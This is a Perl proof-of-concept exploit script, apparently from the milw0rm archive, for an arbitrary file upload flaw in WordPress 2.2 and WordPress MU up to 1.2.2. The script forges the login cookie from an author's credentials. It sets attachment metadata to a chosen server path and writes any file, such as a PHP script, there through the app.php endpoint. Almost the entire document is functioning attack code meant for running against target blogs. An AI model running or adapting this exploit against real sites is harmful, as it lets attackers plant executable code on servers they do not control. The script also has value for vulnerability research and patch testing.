113 lines
No EOL
4.3 KiB
Perl
Executable file
113 lines
No EOL
4.3 KiB
Perl
Executable file
#! /usr/bin/env perl
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# Wordpress 2.2 and Wordpress MU <= 1.2.2 Arbitrary File Upload PoC
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#
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# Credits : Alexander Concha <alex at buayacorp dot com>
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# Website : http://www.buayacorp.com/
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# Advisory: http://www.buayacorp.com/files/wordpress/wordpress-advisory.html
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use Digest::MD5 qw(md5_hex);
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use LWP::UserAgent;
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my $ua = new LWP::UserAgent;
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my $blog = $ARGV[0];
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my $user = $ARGV[1];
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my $pass = $ARGV[2];
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my $remote_file = $ARGV[3];
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my $local_file = $ARGV[4];
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my $post_id = $ARGV[5];
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if (@ARGV < 4) {
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print "\nUsage:\n";
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print " wp-file-upload.pl <host> <username> <password> <remote_filename> [local_file] [post_id]\n\n";
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print " <host> - full path to WordPress. http://victim.com/wordpress/\n";
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print " <username> - valid username with any of these roles: author, editor, administrator\n";
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print " <password> - valid password for the user\n";
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print " <remote_file> - full path to the remote file. /home/vulnerable.com/wordpress/wp-content/uploads/foo.php\n";
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print " [local_file] - file to upload\n";
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print " [post_id] - every time this script is executed creates a new post, specify a post_ID if you already run it\n\n";
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exit();
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}
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$ua->requests_redirectable([]);
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$blog =~ s/\/*$/\//;
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$url = 'wp-app.php';
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if ( 200 != $ua->head($url . '?action=/service')->code ) {
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$url = 'app.php';
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die "\nIt seems that this WP installation is not vulnerable: app.php and wp-app.php were not found.\n"
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unless 200 == $ua->head($url . '?action=/service')->code;
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}
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$auth_cookie = get_auth_cookie();
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sub LWP::UserAgent::simple_request {
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my($self, $request, $arg, $size) = @_;
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$request->header('Cookie' => $auth_cookie);
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$request->content_type('image/gif') if $request->method eq "PUT";
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$request->uri($blog . $request->uri);
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$self->_request_sanity_check($request);
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my $new_request = $self->prepare_request($request);
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$response = $self->send_request($new_request, $arg, $size);
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print $request->method . " " . $request->uri . " " . $response->code . "\n";
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return $response;
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}
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sub get_contents {
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$file = shift;
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if ( -e $file ) {
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open FILE, $file or die("Invalid local file");
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$file = join('', <FILE>);
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close FILE;
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} else {
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$file = <<PHP;
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<?php echo "Hello World!"; ?>
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PHP
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}
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return $file;
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}
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sub get_auth_cookie {
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$response = $ua->head('wp-login.php?logout');
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if ( $response->headers->header('Set-Cookie') =~ m/wordpress(user|pass)(.*?)=/ ) {
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return "wordpressuser$2=$user;wordpresspass$2=".md5_hex(md5_hex($pass));
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}
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return '';
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}
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if (0 == $post_id) {
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$response = $ua->get('wp-admin/post-new.php');
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die ("\nInvalid credentials or blog url.\n\n" . $response->as_string) unless 200 == $response->code;
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if ( $response->content =~ m/name=._wpnonce. value=.([a-z\d]{10})./ ) {
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$response = $ua->post('wp-admin/post.php', [
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'_wpnonce' => $1,
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'action' => 'post',
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'post_ID' => $post_id,
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'post_type' => 'post',
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'post_title' => 'foo',
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'metakeyselect' => '#NONE#',
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'metakeyinput' => '_wp_attached_file',
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'metavalue' => $remote_file
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], 'Cookie' => $auth_cookie);
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# Checks for post-new.php?posted=post_ID
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if ( $response->headers->header('Location') =~ m/posted=(\d+)/ ) {
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$post_id = $1;
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}
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}
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}
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die "\nCould not get a valid post_id value.\n" unless 0 != $post_id;
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$request = HTTP::Request->new(PUT => $url . '?action=/attachment/file/'.$post_id);
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$request->content(get_contents($local_file));
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$response = $ua->request($request);
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if ( 200 == $response->code ) {
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print "\nIt seems that the file has been posted successfully... :P\n";
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print "Use the following value to update the remote file: post_id '$post_id'\n";
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} else {
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print "\nError: there is no attachment metadata for post_id=$post_id\n\n" . $response->as_string() . "\n";
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}
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# milw0rm.com [2007-06-26] |